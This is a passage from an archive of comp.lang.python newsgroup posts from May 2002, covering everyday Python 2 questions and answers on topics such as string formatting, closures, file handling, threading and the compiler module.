"single" def compile(self): tree = self._get_tree() print tree gen = SuperICG(tree) self.code = gen.getCode() def super_eval2(expr, d=None): if d is None: d = {} gen = SuperI(expr, "") gen.compile() code = gen.code return eval(code, d) This is my first play with the compiler module... I think I like it :) Cheers, M. -- While preceding your entrance with a grenade is a good tactic in Quake, it can lead to problems if attempted at work. -- C Hacking -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html From max at alcyone.com Thu May 30 23:50:25 2002 From: max at alcyone.com (Erik Max Francis) Date: Thu, 30 May 2002 20:50:25 -0700 Subject: Python program problem involving reading a web site. References: Message-ID: <3CF6F301.5EB001D@alcyone.com> Mike Varney wrote: > I wrote a quick little program that is supposed to read the html from > a web > site and to update the web counter to show another hit. > I am able to read the html code fine, but the counter on the web site > is not > updating. That depends entirely upon how the Web counter qualifies a "hit." You'll need to give more information. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From starx at pacbell.net Mon May 6 02:59:17 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 6 May 2002 06:59:17 GMT Subject: OT: mail-news gateway question References: Message-ID: Aahz || Sun 05 May 2002 10:14:31p: >> [me] >>You can also tell it in a threaded newsreader (xnews at least), >>because the indentation will be like: >> >>[Thread started by NG person] >> [Response from NG person] >> [Response from NG person]* >> [Rsponse from NG person]** >> [Response from NG person] >>[Response from ML person to article marked *] >> [Respnse form NG person] >>[Further response from ML person to above] >>[Response from ML person to atricle marked **[ >> >>And so forth. ML people always get dumped into level-0 threading for >>me. > > Not true. Some people use mail clients that process References: > instead of In-Reply-To and those posts get threaded correctly. Hrm. I thought it was just that the gateway mangled things. Too bad there's no way to just -fix- it... -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From marklists at mceahern.com Sun May 19 17:23:54 2002 From: marklists at mceahern.com (Mark McEahern) Date: Sun, 19 May 2002 16:23:54 -0500 Subject: using exceptions In-Reply-To: Message-ID: Try something like this: try: 1/0 except Exception, e: print e.__class__.__name__ Cheers, // mark From pearu at cens.ioc.ee Mon May 13 18:11:30 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Tue, 14 May 2002 01:11:30 +0300 (EEST) Subject: python for this C: "if ((a = b(c)) != NULL)" In-Reply-To: <12257ec4.0205131401.25c63801@posting.google.com> Message-ID: On 13 May 2002, David Carson wrote: > This feels like a stupid question, but I'm having trouble seeing > outside of my C background right now. > > I expected the C syntax above to work in Python, with None replacing > NULL, but it complains about the assignment in the inner parentheses. > In C, of course, the inner assignment has a side effect ('a' gets the > value) and has a value that can be compared to NULL. > > So, how do I do this in Python, since I want to avoid running method > b() twice in the case where I want to use 'a' later? In other words, > I don't want to do: > > if b(c): > a = b(c) > use a here ... You can do a = b(c) if a is not None: use a here .. Regards, Pearu From occeanlinux at linuxmail.org Fri May 31 06:17:50 2002 From: occeanlinux at linuxmail.org (Gold Fish) Date: Fri, 31 May 2002 10:17:50 GMT Subject: count file References: <3cf734ba_1@news.iprimus.com.au> <53HJ8.7782$fG3.277261@news2.ulv.nextra.no> Message-ID: <3cf74de8_1@news.iprimus.com.au> Gerhard H?ring wrote: > In article <53HJ8.7782$fG3.277261 at news2.ulv.nextra.no>, Erlend J. Leiknes > wrote: >> import os.path >> path = "/" >> items = os.path.listdir(path) >> myfiles = [] >> for i in range(len(items): >> if os.path.isfile(path + items[i]): >> myfiles.append(path + items[i]) > > It's better to use os.path.join to join path elements, as this will work > on any platform. There's no cross-platform way to get the root directory, > though. On some platforms (Windows, for example), there might not even be > a single root directory. > > Gerhard How about the directory have another subdirectory, i tried your way but it show an error when i got subdirectory in the original directory From pyth at devel.trillke.net Thu May 2 16:32:25 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 2 May 2002 22:32:25 +0200 Subject: Theoretical question about Lambda In-Reply-To: <_dhA8.57444$Au5.8428@atlpnn01.usenetserver.com> References: <3CD0DCD6.4050403@vip.fi> <_dhA8.57444$Au5.8428@atlpnn01.usenetserver.com> Message-ID: <20020502203225.GA16217@devel.trillke> On Thu, May 02, 2002 at 04:18:31PM -0400, Steve Holden wrote: > AAAARRRRGGGGHHHH!!!! relax. Have you never read the bible? Where salomon truthfully stated that there is nothing new under the sun? Also there was this one movie where the same day started over and over again ("Und taeglich gruesst das Murmeltier"(german)). Be glad that you are not trapped like this :-) holger From bokr at oz.net Sat May 18 13:37:48 2002 From: bokr at oz.net (Bengt Richter) Date: 18 May 2002 17:37:48 GMT Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> <6qd6vtxzam.fsf@abnoba.intevation.de> Message-ID: On 18 May 2002 17:15:29 +0200, Bernhard Herzog wrote: >Erik Max Francis writes: > >> That's not the half of it. Mutable objects can dynamically change >> state, completely outside the control of the container. So the hard >> question is: What happens when a mutable object changes its value, such >> that it effects the arrangement of the set? How does the container get >> notified of this change (which as far as I know there is no standard way >> to test in Python), and what happens when a value collision occurs >> within the set? Does one object get disposed? If so, which one? > Perhaps there could be a const-on-hash (mark as immutable if ref counts==1, copy and mark otherwise), and then copy-on-write (copy if const, un-const the copy, and proceed with mutating operation on the copy), so sets could play both roles. This would just be an optimization for some kinds of sets, but probably wouldn't be worth it for e.g., small sets of bits that could be implemented as packed into 32-bit integers. In any case, it w/shouldn't change the set semantics. >It seems to me that the most sensible solution would be to deal with it >like a dictionary deals with mutable keys: By not caring about whether >an object is mutable or not (there is no way to determine this anyway) >but relying on a certain behavior regarding hash values instead. >>> d={} >>> l=range(5) >>> d[l]='list5' Traceback (most recent call last): File "", line 1, in ? TypeError: list objects are unhashable >>> l2=tuple([[x] for x in xrange(5)]) >>> l2 ([0], [1], [2], [3], [4]) >>> d[l2] = 'tuplist5' Traceback (most recent call last): File "", line 1, in ? TypeError: list objects are unhashable It seems to care "about whether an object is mutable or not" and doesn't seem to believe that "(there is no way to determine this anyway)". You must have meant something else? > >If an object is stored in a dict as a key, the only things that matter >are that > >1. its hash value doesn't change as long as the object is used as a key. > >2. equal objects have equal hash values > for some definition of hashing an object equality... >There may be some more subtle requirements. I'm not sure what happens >when two objects that have the same hash value but do not compare eqal >at first later become equal, for instance. > You're not confusing names and values, are you? Regards, Bengt Richter From michael+usenet at dynamine.net Thu May 16 21:58:54 2002 From: michael+usenet at dynamine.net (Michael S. Fischer) Date: Fri, 17 May 2002 01:58:54 -0000 Subject: Stupid string formatting question References: <1jn8euo3n9voc1pc55c3803l0f2k97vidj@4ax.com> Message-ID: On Fri, 17 May 2002 02:40:27 +0100, Gon?alo Rodrigues wrote: >>Why can't I do this? >> >> def foo(x): >> # Do some operations on x yielding a and b >> return a, b >> >> print "a = %s, b = %s" % (foo(x)) >> >>It seems counter-intuitive that although foo is defined to return a 2-item >>tuple, the interpreter just doesn't get it. > > There must be something you are not telling us. It works fine for me, OK, here's an example. >>> def x(): ... return "a", "b" ... >>> print "%s/%s/%s/%s" % ("hi", "there", x()) Traceback (most recent call last): File "", line 1, in ? TypeError: not enough arguments for format string -- Michael S. Fischer / michael at dynamine.net / +1 650-533-4684 Lead Hacketeer, Dynamine Consulting, Silicon Valley, CA From paul at boddie.net Wed May 8 12:37:25 2002 From: paul at boddie.net (Paul Boddie) Date: 8 May 2002 09:37:25 -0700 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: <23891c90.0205080837.193194db@posting.google.com> "James J. Besemer" wrote in message news:... > Tim Roberts wrote: > > > Do you install Python 2.x into a > > separate directory and grumble every time you have to change the #! line in > > your scripts? No, this is a pretty inconvenient way of solving the problem. See below... > If it's just YOU -- that is your own private scripts not ones you make > generally available, you can setup your path to grab the proper version of > python. Then log in as somebody else to run the Linux sys admin stuff. Well, since the only user who can run the sysadmin stuff (or who is likely to do so) is 'root', then I would suggest setting up paths for other users which do indeed point to more recent Python versions. In fact, that's what I do... http://webware.colorstudy.net/twiki/bin/view/Webware/PythonVersionConflicts Linux is a multi-user operating system after all. Paul From gdemmy at layton-graphics.com Wed May 15 13:38:26 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 15 May 2002 13:38:26 -0400 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> Message-ID: spam at bugbear.com (Paul Graham) writes: > Thanks to everyone who replied to my earlier question. It seems > Python scope rules have changed recently, and my info was out of > date. I am still uncertain about a couple things though: there > seem to be some restrictions on what you can do with lexical > variables and also what you can put in a lambda. Can some Python > expert tell me how you would express the Common Lisp > > (defun foo (n) #'(lambda () (incf n))) > > in Python? > > Many thanks, --pg Here's one way: class foo: def __init__(self, n): self.n = n def next(self): self.n += 1 return self.n def mkfoo(n): f = foo(n) return f.next bar = foo(1) print bar(), bar(), bar() -> 2 3 4 I don't think that the "Guido implementation" of Python allows the capture of state in closures the same way that you can in Scheme and CL, though you can fake it very easily, as above. G From shalehperry at attbi.com Wed May 22 16:31:55 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 22 May 2002 13:31:55 -0700 (PDT) Subject: newbie question In-Reply-To: <50B466C3F4A0D5118CCA00B0D0681E3202766984@exchange-lax1.firstlogic.com> Message-ID: On 22-May-2002 Michael Bauers wrote: > > Why doesn't the following work? How is 'stdin' different than objects > returned from 'file()' ? > > import sys > x = sys.stdin.xreadlines() > you do realize that xreadlines() only reads one line at a time, right? From kragen at pobox.com Fri May 17 04:17:15 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 04:17:15 -0400 Subject: File write/read question References: <78bc9697.0205130907.4288e607@posting.google.com> <9diE8.1438$Ec.126265@newsread2.prod.itd.earthlink.net> Message-ID: <83u1p7w5mc.fsf@panacea.canonical.org> "Howard Roth"
writes: > One way to do the conversion is to use 'eval(a)' Just like one way to turn off the light in the bedroom is to set off a hydrogen bomb over the municipal power plant, yes. Massive thermonuclear fusion has its correct uses, but turning off the light in the bedroom is not one of them, because it also has its drawbacks. Nor is converting strings to integers a good use of 'eval'. From syver-en+usenet at online.no Fri May 24 19:28:21 2002 From: syver-en+usenet at online.no (Syver Enstad) Date: Fri, 24 May 2002 23:28:21 GMT Subject: [newbie] Is Python what I'm looking for? References: <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2@4ax.com> Message-ID: Giulio Cespuglio writes: > Hi there, > > My aim is to automatically get specific pieces of information from a > website, simulating the behaviour of a user filling in HTML forms and > clicking buttons (a web robot?), then embed them in my HTML page. > In other words, the pages I need to access are not accessible from a > standard URL. > The other part of the problem is of course parsing the resulting HTML > and extracting the pieces of info I need. > > Does Python provide libraries that could help me? Could you please > give me some keywords/pointers? Check out urllib for posting forms to a web server, the re module or htmllib for parsing, and the cgi module for spewing it all back out on the web again. There are lots of other alternatives, but these are the most basic that I can think of. You may also need various utilities like urlencode (can't remember the module name, use pydoc to find it). >I'm completely new to Python. > I would of course set up my web server under windows (Apache?) and the > > necessary plugin. > > Can you think of a better way of doing this? Another scripting > language perhaps? In my view, this should be a suitable job for Python. -- Vennlig hilsen Syver Enstad From Gabe.Newcomb at noetix.com Tue May 7 18:14:21 2002 From: Gabe.Newcomb at noetix.com (Gabe Newcomb) Date: Tue, 7 May 2002 15:14:21 -0700 Subject: "Inserting" a line in a text file? Message-ID: <0C7CA8D8DF75494EB09AB6016990107F011B1B45@NOXMAIL.noetixad.com> There's currently a mail thread on this. -----Original Message----- From: Duncan Smith [mailto:buzzard at urubu.freeserve.co.uk] Sent: Tuesday, May 07, 2002 3:05 PM To: python-list at python.org Subject: Was: "Inserting" a line in a text file? Thanks All, It just occured to me that I need to ensure that any temporary file has a unique path + filename. Is there some common idiom for this, or is os.tempnam([dir[,prefix]]) or os.tmpnam() appropriate? Cheers. Duncan -- http://mail.python.org/mailman/listinfo/python-list From news at lindbergs.org Thu May 30 00:01:40 2002 From: news at lindbergs.org (VanL) Date: Wed, 29 May 2002 22:01:40 -0600 Subject: Why no open(f, "w").write()? References: Message-ID: <3CF5A424.8010202@lindbergs.org> Ok, I've read the thread... but how is open(f, 'w').write(stuff) different than lines = open(f).readlines() in terms of bad/good programming practice? I use that second construction quite frequently. VanL From ullrich at math.okstate.edu Fri May 3 13:31:48 2002 From: ullrich at math.okstate.edu (David C. Ullrich) Date: Fri, 03 May 2002 17:31:48 GMT Subject: Slight irritation with try/finally indentation References: Message-ID: <3cd2c922.692157118@news> On 24 Apr 2002 10:14:45 -0400, pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) wrote: [...] > > [...] > setup() > try: > process() > finally: > cleanup() > [...] > >What I find irritating is that `cleanup()' is not aligned anymore with >`setup()', as it was originally, so we loose on the legibility of the >parenthetical idiom we wanted to stress. Exactly the same thing bothered me years ago with try-finally in another language (where the indentation was optional). I never got around to complaining about it, though... David C. Ullrich From garry at sage.att.com Fri May 24 11:55:01 2002 From: garry at sage.att.com (Garry Hodgson) Date: Fri, 24 May 2002 15:55:01 GMT Subject: python-friendly web hosts: buyer beware References: Message-ID: <3CEE6255.364DCD9C@sage.att.com> Rob Andrews wrote: > > > Although I realize the moral of your story, isn't to seek out good > > hosts who offer Python, just thought I would mention > > http://www.FutureQuest.net > > > > Actually, I'm considerably more interested in the good hosts than in > criticizing those who don't meet my own arbitrary standards. The more > people point out the ones worth mentioning, the less I have to track them > down myself. > > And there's hardly anything wrong with saying something positive about a > company with which one happens to be affiliated. check out www.your-site.com. lots of stuff for $5/month. -- Garry Hodgson Let my inspiration flow Senior Hacker in token rhyme suggesting rhythm Software Innovation Services that will not forsake me AT&T Labs 'til my tale is told and done. garry at sage.att.com From pyth at devel.trillke.net Fri May 24 09:04:16 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 24 May 2002 15:04:16 +0200 Subject: no pickling code objects? In-Reply-To: <3CEE25D8.2000505@bigfoot.com>; from big.john@bigfoot.com on Fri, May 24, 2002 at 01:36:56PM +0200 References: <4vhjdugv3kfd0m4359lkqctmn25ia44cae@4ax.com> <3CEE25D8.2000505@bigfoot.com> Message-ID: <20020524150416.I11253@prim.han.de> Johann H?chtl wrote: [in response to the problem of pickling/unpickling code] > You may take a look at > > www.mozart-oz.org thanks, the concepts on the site seem to be interesting. Their language looks a bit ugly, though :-) > and their strategy / theory behind pickling and unpickling. In mozart > you are only allowed to pickle inmutable data. Otherwise you go crazy on > taking all considerations into account. But i don't understand the reason for their statement (which you are refering to): "Anything stateless can be saved in a pickle, including functions, procedures, classes, functors, records, and atoms. Stateful entities, such as objects and variables, cannot be pickled." Why is it giving headaches? Seems perfectly valid to pickle/unpickle stateful objects. (in python classes, functions and so on *are* stateful objects). Of course you might run into concurrency problems. but i mean: pickling immutable object seems almost redundant :-) My original problem was: > > But the basic problem with pickling/unpickling code objects > > is to transport the transitive closure of code objects: you need to > > have the code objects which your pickled code objects > > depends on. And next the code objects which these code > > objects depend on ... > > > > At the same time you don't want to pickle code of > > the python standard distribution usually (at least > > not sys/os and friends). I don't know if the mozart people have solved this problem. it has a lot to do with versioning/managing code and modules. regards, holger From claird at starbase.neosoft.com Wed May 1 10:02:40 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 1 May 2002 09:02:40 -0500 Subject: Python vs. Perl, which is better to learn? References: <826628efe5.fsf@acropolis.localdomain> Message-ID: <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> In article <826628efe5.fsf at acropolis.localdomain>, Patrick W wrote: >rmelson at gilia.nmsu.edu ("Bob Melson") writes: > >> If you're asked to build a house, you certainly don't confine >> yourself to a single tool -- you use the tools appropriate to the >> job you have to do; why should it be different with scripting >> languages? > >Because the "right tool for the right job" approach is wrong in this >context. It should apply to the choice of language _categories_, not >languages _within_ a category. There are better things to do with time >and mental energy than learn a dozen different ways of doing the same >thing. > >If it took a minimum of six months to learn how to push two different >brands of wheelbarrow, can you imagine an experienced builder saying >to his apprentice: learn both? It's a good point. I think Mr. Melson's also right, though. And my understanding of at least some traditions of apprenticeship is that they *do* call for the juniors to learn two wheelbarrows before using either. I'll try to make this more precise in the case at hand. You are right that it's con- siderably more expensive to learn two languages, or a mix of two languages, than a single one. One has to expect that there's a far greater return-on-investment for learning the first, than the second. This puts a premium, of course, on making a cor- rect choice for the first. So far, we're conversing rather abstractly. In the specific case of Perl vs. Python, I contend that: 1. their functional roles are quite similar; 2. both languages are "lightweight" in the sense that one can start to use them with only a few hours spare time; and 3. their "subjective" applicability is rather polarized. What I mean by the latter is that a large number of engineers seem to have big emotional reactions to syntactic differences that are superficial in any language-theoretic sense: significant white-space, variable markers, function argument lists, CPAN vs. distutils, and so on. My conclusion: *experience* both languages (a modest investment), decide for yourself the "first impression" each makes, pick the one that feels right, then *learn* that language, with confidence that you're missing little by choosing only that one. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From amuys at shortech.com.au Wed May 1 21:05:04 2002 From: amuys at shortech.com.au (Andrae Muys) Date: 1 May 2002 18:05:04 -0700 Subject: Comment on Draft Pep ver 4 -- Psuedo Deprecations of Builtins References: Message-ID: <7934d084.0205011705.1ca96d77@posting.google.com> "Raymond Hettinger" wrote in message news:... > I no longer think map(), filter(), and reduce() should even be > psuedo-deprecated, > but apply(), oct() and hex() are prime candidates. The input() function > should > still be considered for genuine deprecation and deletion, but that reflects > my > view of input() as a bug. Now while I certainly agree with input(), I'm curious what you expect to use in place of apply()? When mapping a function to a list of argument tuples, */** notation now provides a clear, consise alternative. [apply(f,args) for args in arglist] -> [f(*args) for args in arglist] Likewise when passing an argument tuple to a list of functions. However the one case where I haven't been able to see a clean, consise alternative to apply is matching a list of functions with a list of argument tuples. The closest I can get uses zip to create a temporary list. map(apply, functionlist, arglist) -> [f(*args) for f,args in zip(functionlist, arglist)] Now please correct me if I'm wrong, but surely there is very little room for improvement (re. readability, and clear expression of intent) in the map() used above? Andrae Muys From maxm at mxm.dk Fri May 17 07:09:40 2002 From: maxm at mxm.dk (Max M) Date: Fri, 17 May 2002 13:09:40 +0200 Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: <3CE4E4F4.8020704@mxm.dk> Shagshag wrote: > By now to write a function i write it in a text editor (with coloured > syntax), copy and paste it in idle try it, then go back to text > editor to debug it and so on until i've tuned it like i want, then > next function and so on until i complete module... And that's really > boring theses permanent back and forth... That's a tedious way to do it. Why don't you just edit in Idle ?? It has coulor syntax as well. Anyhoo I just use the editor in the win32all extensions. It does the job pretty well. Otherwise I use Ultraedit which also has colour syntax. > Another one is which are "standard" coding in Python ? > > (thing like initCap, postfix private atribute with "_" and so on) No such thing. Probably more of a project issue than a language issue. regards Max M From python at rcn.com Mon May 6 16:50:34 2002 From: python at rcn.com (Raymond Hettinger) Date: Mon, 6 May 2002 16:50:34 -0400 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> Message-ID: > I am trying to get the math module to deal with degrees rather than > radians. (that it deals with radians for the angular functions like > sin() isn't mentioned in the docs, which was sort of an eyeopener :) I > can't find any info on doing this. I can convert from-to degrees in the > code calling the function, but that's a bit clunky. Any pointers to an > FM to R? :) There is a patch for adding degree/radian conversions. See http://www/python.org/sf/552452 Raymond Hettinger From phd at phd.pp.ru Sat May 11 14:19:43 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sat, 11 May 2002 22:19:43 +0400 Subject: Using VIM In-Reply-To: ; from rhymes@myself.com on Sat, May 11, 2002 at 07:30:07PM +0200 References: Message-ID: <20020511221943.A30070@phd.pp.ru> On Sat, May 11, 2002 at 07:30:07PM +0200, Lawrence Oluyede wrote: > How can i configure VIM to edit Python sources? http://phd.pp.ru/Software/dotfiles/vimrc.html Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From debl2nonospammyWhammy at bellatlantic.net Thu May 30 21:22:15 2002 From: debl2nonospammyWhammy at bellatlantic.net (David Lees) Date: Fri, 31 May 2002 01:22:15 GMT Subject: Time in python References: <3cf6495d_1@news.iprimus.com.au> Message-ID: <3CF6D087.DB6CF4D8@bellatlantic.net> If you are asking about text processing for a particular type of output, how about: >>> x ='python.txt 28/05/02 06:25' >>> string.split(x)[2] '06:25' david lees Gold Fish wrote: > > Can anyone tell me how we seperate the time in the file name in python. > For example > python.txt 28/05/02 06:25 From johnroth at ameritech.net Sat May 11 08:00:53 2002 From: johnroth at ameritech.net (John Roth) Date: Sat, 11 May 2002 08:00:53 -0400 Subject: Multibyte Character Surport for Python References: Message-ID: "Oleg Broytmann" wrote in message news:mailman.1021095983.9957.python-list at python.org... > On Fri, May 10, 2002 at 07:14:23PM -0400, John Roth wrote: > > > 4. All syntax words are preceeded by a special character, which > > is not presented to the viewer by Python 3.0 aware tools. Instead, > > the special character is used to pick them out and highlight them. > > The reason for this is that the vocabulary of syntax words can then > > be expanded without impacting existing programs - they are > > effectively from a different name space. > > Why do you want to make perl of python? If you want perl just go and use > perl, no problem. I wasn't intending to do that. Perl's 'funny characters' solve one significant problem that comes up every time someone suggests adding a character syntax word to python: breaking existing code. The only permanent solution to this problem is to take the character syntax words from a different space than identifiers. Perl does it (accidentally, I presume, although I don't know for certain) by using special characters to mark (some aspects of) the type of identifiers. I actually took this idea from Color Forth! As someone else noted, it would make simplistic editors much less usable, but many (possibly most) of us use much more capable editors. In any case, the basic point 1: the source would be in some variation of Unicode, breaks all simplistic editors that exist today. John Roth From lac at strakt.com Tue May 21 02:34:06 2002 From: lac at strakt.com (Laura Creighton) Date: Tue, 21 May 2002 08:34:06 +0200 Subject: Q: going from tuple to comma-separated list? In-Reply-To: Message from Damian Menscher of "Tue, 21 May 2002 05:59:48 GMT." References: Message-ID: <200205210634.g4L6Y734032758@ratthing-b246.strakt.com> You want the apply function. In newer Pythons *plotdata will do, since * is a synonym for apply, (and **plotdict if you wanted to pass in a dictionary of name:value pairs). Laura Creighton From donn at drizzle.com Thu May 23 01:17:29 2002 From: donn at drizzle.com (Donn Cave) Date: Thu, 23 May 2002 05:17:29 -0000 Subject: "casting" Python objects References: Message-ID: <1022131048.609512@yasure> Quoth David Bolen : ... | The right approach is to create the appropriate subclass of | jabber.Message before putting it into the queue. Your retrieval code | won't have to worry which subclass it is, since they'll all have the | Handler function and will be dispatched appropriately. So from the | info in your original post, it sounds like your connection object is | the one that should be determining what sort of object instance to | create (e.g., FooMsg) and creating an instance of that to post to the | queue rather than jabber.Message. Or, perhaps the right approach doesn't involve inheritance at all! The object with the Handler method probably shouldn't _be_ a Message, it should just _have_ one. If you have to subclass Message just to get useful access to its contents, it's seriously broken; if you subclass it for that reason when you don't need to, you're asking for more trouble than you already have. Donn Cave, donn at drizzle.com From tim at vegeta.ath.cx Sat May 4 04:27:51 2002 From: tim at vegeta.ath.cx (Tim Hammerquist) Date: Sat, 04 May 2002 08:27:51 GMT Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> Message-ID: Jim Richardson graced us by uttering: > I am trying to get the math module to deal with degrees rather than > radians. (that it deals with radians for the angular functions like > sin() isn't mentioned in the docs, which was sort of an eyeopener :) > I can't find any info on doing this. I can convert from-to degrees in > the code calling the function, but that's a bit clunky. Any pointers > to an FM to R? :) Radians are what trig is based on. Otherwise the formula for the area of a circle would be 'A = 360r'; since when does a unit circle have an area of 360 square units? OTOH, `man 3 sin` on my system documents the sin() function of the C math library _is_ documented as taking radians. On a POSIX system, this is usually what is called by Ruby's Math.sin() method. Can you just write an additional method like def sin_d(deg) Math.sin(deg * Math::PI / 180) end ...and maybe even make it a method of the Math module itself? Tim Hammerquist -- For every problem, there is one solution which is simple, neat and wrong. -- H. L. Mencken From jeff at ccvcorp.com Tue May 14 14:04:12 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 14 May 2002 11:04:12 -0700 Subject: popen hangs on linux kernel 2.2.16 References: Message-ID: In article , Q says... > You can try using the win32pipe module or popen2 method I rather doubt that win32pipe will work on a linux box... -- Jeff Shannon Technician/Programmer Credit International From martin at v.loewis.de Sun May 5 04:28:19 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 05 May 2002 10:28:19 +0200 Subject: FromXMLString wanted. References: <11aed8f9.0205031158.27776f36@posting.google.com> <3CD44A97.64FBA66F@iki.fi> Message-ID: Joonas Paalasmaa writes: > You can propably use XMLFromFile with a StringIO.StringIO instance > loaded with the unicode string. No, you can't: the parser cannot operate on a Unicode object. Regards, Martin From spammers.do.not.bother at void.bogus Wed May 29 11:52:45 2002 From: spammers.do.not.bother at void.bogus (Magnus) Date: Wed, 29 May 2002 15:52:45 GMT Subject: threading References: <6LSI8.9586$p56.2785767@newsb.telia.net> <3CF4603B.264B2F1A@engcorp.com> Message-ID: Peter Hansen wrote: > Magnus wrote: >> >> Thanks for the suggestion. I will try that and see if it works. My >> concern is that one thread might be e.g. writing to a file, and in that >> case I need to way for it to finish. By using a flag this should work. > > 1. If the thread is waiting for an operation such as writing to a file, > you have no choice but to let it time out and then check the flag. > There is no way to force a thread to terminate. > >> (I am thinking about setting up a signal handler that changes the flags >> in all threads.) > > 2. See the notes in the docs for the signal module. I believe it says > they are sent only to the main thread. > > > -Peter Thanks Peter. I was reading about it yesterday and it seems to be correct. Threading is kind of tricky if one is not familiar with all the cons and pros :) /Magnus From henk.derudder at barconet.com Thu May 2 02:11:38 2002 From: henk.derudder at barconet.com (henk.derudder at barconet.com) Date: Thu, 02 May 2002 06:11:38 GMT Subject: Deploy Python in an app Message-ID: <3cd0d7d5.519671218@news.skynet.be> Hi all, I have written an application in C++ which also uses some scripts written in Python. If I want to install my app on a machine which does not have the Python engine pre-installed I should include this in my installation procedure without the user being aware that Python is being installed together with my app. I am quite sure that I am not the first person who tries to achieve this, can anyone please help me further on this topic? thanks From bnulty at lucent.com Fri May 3 05:38:26 2002 From: bnulty at lucent.com (Brian Nulty) Date: Fri, 03 May 2002 10:38:26 +0100 Subject: Sleep command Message-ID: <3CD25A92.70005@lucent.com> The "sleep" command is not working for me in Jython 2.1. The specification is: sleep(30); # to sleep for 30 seconds I get a message saying the command is unrecognised. Am I missing something. TIA, Brian From martin at v.loewis.de Mon May 13 02:26:43 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 13 May 2002 08:26:43 +0200 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: <873cwyg7dj.fsf@tleepslib.sk.tsukuba.ac.jp> <878z6obodl.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" writes: > And these signatures certainly don't belong in internal objects, like > Python strings. In Python, there are byte strings, and character (unicode) strings. What data type would you use to represent the BOM if not the byte string type? I agree that the BOM does not belong into a Unicode object. > They're purely for interapplication communication (as you point out > elsewhere, Python surely knows implicitly whether it's BE or LE). Sure, but Python should allow to implement such interapplication communication, so application programmers need a way to emit them. "Batteries included" means that common cases of interapplication communication ought to be supported by the library. > XEmacs will support UTF-8 signatures, but (by default) it will > complain as loudly as I can make it do without actually interrupting > execution of a function. That's fine; most people seem to agree that the signatures are not very Unixish. I disagree, but I won't try to convince others of that position :-) Regards, Martin From weeks at vitus.scs.agilent.com Mon May 20 10:46:59 2002 From: weeks at vitus.scs.agilent.com (Greg Weeks) Date: Mon, 20 May 2002 14:46:59 +0000 (UTC) Subject: might compatibility become a *goal*? References: Message-ID: <1021906019.413368@cswreg.cos.agilent.com> David LeBlanc (whisper at oz.net) wrote: : considerably worse to deal with: the change in formal paramter lists in C : functions being an excellent case in point. Going and adding type specifiers : to formal argument lists in a large C program taketh long and paineth arse. But that was a backward-compatible change. Greg From paul at boddie.net Wed May 15 06:01:31 2002 From: paul at boddie.net (Paul Boddie) Date: 15 May 2002 03:01:31 -0700 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> Message-ID: <23891c90.0205150201.6cd8193e@posting.google.com> jmdeschamps at cvm.qc.ca (jmdeschamps) wrote in message news:<3d06fae9.0205140451.5ec335b1 at posting.google.com>... > > Why should coding not be an art? or Poetry? while developing > engineering virtues! Yes, but then: "Look at my lovely spacecraft! Which planet is it going to again?" In other words, some things have to be prioritised so that the whole system works as intended. With articles "celebrating" cool hacks, and the like, it's clear that some people prioritise arguably less important things (in the context of successful real-world systems) than others. Paul From erict at millfilm.co.uk Tue May 28 14:34:33 2002 From: erict at millfilm.co.uk (Eric Texier) Date: Tue, 28 May 2002 19:34:33 +0100 Subject: re Message-ID: <3CF3CDB9.A1416BF3@millfilm.co.uk> Well, I am not completly new at python but some module (no mater what language: it started with sed) are impossible to get a good grab on: I am trying to do replace '#' with a number in string with some control over the padding: a = 'echo file#.sgi file#~3.sgi file#~5*2.sgi' ex: with 3 newString = "file3.sgi file003.sgi file00006.sgi" # -> number #~x -> number with some 0 in front for padding #*2+3 -> number * 2 + 3 etc... If this is trivial for one of you, I will appreciate your help a lot. Thanks. From webmaster at eclickz.net Tue May 7 17:28:47 2002 From: webmaster at eclickz.net (eClickz) Date: Tue, 7 May 2002 14:28:47 -0700 Subject: New search engine! eClickz.net Message-ID: <200205072128.g47LSlo07562@camp.321host-it.com> eClickz is a brand new pay-per-click (ppc) search engine where users can find relevant information on any topic conceivable. Features lightning fast search results and an affiliate program where webmasters can earn money by placing a search box on their website. Enjoy ! From zopestoller at thomas-guettler.de Thu May 23 07:24:23 